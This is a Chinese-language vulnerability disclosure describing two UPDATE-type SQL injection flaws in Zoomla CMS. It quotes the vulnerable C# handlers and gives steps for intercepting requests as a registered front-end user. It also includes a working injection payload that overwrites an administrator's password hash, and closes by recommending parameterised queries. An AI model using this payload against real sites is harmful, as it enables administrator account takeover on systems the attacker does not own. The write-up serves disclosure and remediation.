某功能还是存在两个UPDATE型注入,咱们可以秒改管理员密码。当然了也可以insert管理员的,为了避免一些问题就不用insert来测试了
涉及的两个类:
public class MIS_Project_ProQuote : Page, IRequiresSessionState
public class MIS_Target_mailQuote : Page, IRequiresSessionState
注入点1:
代码如下
public class MIS_Project_ProQuote : Page, IRequiresSessionState protected void Button1_Click(object sender, EventArgs e) { if (!string.IsNullOrEmpty(base.Request["types"]) && this.types == "7") { string text = base.Request["id"].ToString(); //ID参数 string value = this.ProID.Value; if (!string.IsNullOrEmpty(value)) { this.mps = this.bll.SelectByType(DataConverter.CLng(value)); if (this.mps.TargetID.ToString() == "") { this.HiddenField1.Value = text; //将ID参数赋值给隐藏域 } else { this.HiddenField1.Value = this.mps.TargetID + "|" + text; } this.bll.Update("TargetID='" + this.HiddenField1.Value + "'", "ID='" + DataConverter.CLng(value) + "'"); //隐藏域没有过滤直接带入更新的查询,产生 漏洞 base.Response.Write("<script> location.href='Default.aspx?ID=" + text + "';</script>"); } } }
注册前台用户
访问:
点击引用按钮
改包
Proid输入随意的整数。
将id修改为注入的代码:
1';update zl_manager set adminpassword='77963b7a931377ad4ab5ad6a9cd718aa' where adminname='test123';--
此处注入和之前的不太一样。
实际上这里是hidden的参数有问题,但是由于hidden参数要二次从id赋值,所以只要改ID这个参数即可,直接改hidden是无效的。
查看测试管理员密码已经被修改:
注入点2:
代码如下
public class MIS_Target_mailQuote : Page, IRequiresSessionState protected void Button1_Click(object sender, EventArgs e) { string value = this.ProID.Value; string str = string.Empty; if (!string.IsNullOrEmpty(base.Request["types"]) && base.Request["types"] == "8") { if (!string.IsNullOrEmpty(base.Request["ID"])) { str = base.Request["id"].ToString(); //漏洞点,id参数无过滤 } if (!string.IsNullOrEmpty(value)) { this.bminfo.Update("MID=" + str, "ID=" + DataConverter.CLng(value)); //str变量直接带入更新操作 if (!string.IsNullOrEmpty(base.Request["ParentID"])) { base.Response.Write("<script> window.Patent.location.reload(); </script>"); return; } base.Response.Write("<script>window.Patent.location.reload();</script>"); } } }
前台注册用户。
访问上面的链接后,点击引用!!!!截断一下
然后改包,为下面的参数添加一个整型值:
查看 数据库 ,发现测试用的管理员密码已经被修改了
修复方案:
过滤,参数化查询。
查看更多关于逐浪CMS通用型SQL注入6+7(update型) - 网站安全的详细内容...